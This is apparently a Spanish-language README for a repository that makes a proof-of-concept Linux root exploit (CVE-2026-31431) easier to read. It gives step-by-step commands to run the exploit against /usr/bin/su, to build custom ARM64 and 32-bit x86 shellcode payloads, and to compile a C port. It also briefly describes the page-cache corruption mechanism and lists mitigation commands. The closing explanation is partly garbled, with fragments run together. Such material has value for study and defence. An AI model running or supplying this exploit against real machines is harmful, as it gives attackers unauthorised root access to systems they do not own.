
Versión fácil de entender de CVE-2026-31431
Versión fácil de entender de CVE-2026-31431, una técnica de escalada de privilegios que permite a cualquiera convertirse en root. La prueba de concepto original se encuentra aquí: https://github.com/theori-io/copy-fail-CVE-2026-31431, pero está fuertemente comprimida y minimizada para tener la menor huella posible. Este repositorio intenta desglosar ese código de una manera más legible, incluyendo qué hace el código, cómo se carga el payload y cómo apuntar a diferentes arquitecturas. Consulte el artículo más técnico aquí: https://xint.io/blog/copy-fail-linux-distributions.
Por defecto, al ejecutar python3 copyfail.py se ejecutará un shellcode x64 explotando /usr/bin/su. Puede proporcionar su propio payload ejecutando python3 copyfail.py [ruta/al/payload/personalizado.elf]. Como ejemplo, hay un ensamblador de shellcode ARM64 dentro de payloads/. Así que para probar en dispositivos ARM64, primero debe construir un payload minimizado con nuestro script de enlazado personalizado:
as -o shellcode_aarch64.o payloads/shellcode_aarch64.S
ld -nostdlib -static -o shellcode_aarch64.elf shellcode_aarch64.o
strip -s shellcode_aarch64.elf
Luego puede ejecutar el exploit principal usando python3 copyfail.py shellcode_aarch64.elf.
Para ejecutar en C:
./c_copyfail que ejecuta el mismo shellcode por defecto que el anterior../c_copyfail [ruta/al/payload/personalizado.elf].Para compilar la versión en C:
cd c_port
make
Específicamente, esto compila el archivo .S de destino en un binario raw que se genera como un array de unsigned char en C:
gcc -c payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
o, para x86 de 32 bits,
gcc -c -m32 payloads/[shellcode].S
objcopy -O binary [shellcode].o [payload].raw
xxd -i [payload].raw > payload.txt
Luego puede copiar el contenido de este archivo en su código fuente, o simplemente ejecutar directamente ./c_copyfail.exe [ruta/al/payload.elf] donde payload.elf se genera con as + ld, NO con gcc + objcopy.
Para evitar la explotación, ejecute:
echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null
Si ya ha sido explotado, puede reiniciar la máquina o ejecutar:
echo 3 | sudo tee /proc/sys/vm/drop_caches
AF_ALGsplice(), el kernel coloca las páginas reales de la caché de página del archivo que se ha empalmado en el área de trabajo de criptografía/usr/bin/su en este caso)/usr/bin/su, el kernel lo lee desde la caché de página y obtiene los bytes modificados/usr/bin/su para que el UID sea 0 (root)El binario su está corrupto en memoria, por lo que la modificación del archivo no será detectada. Para restaurarlo desde disco, puede vaciar la caché de página.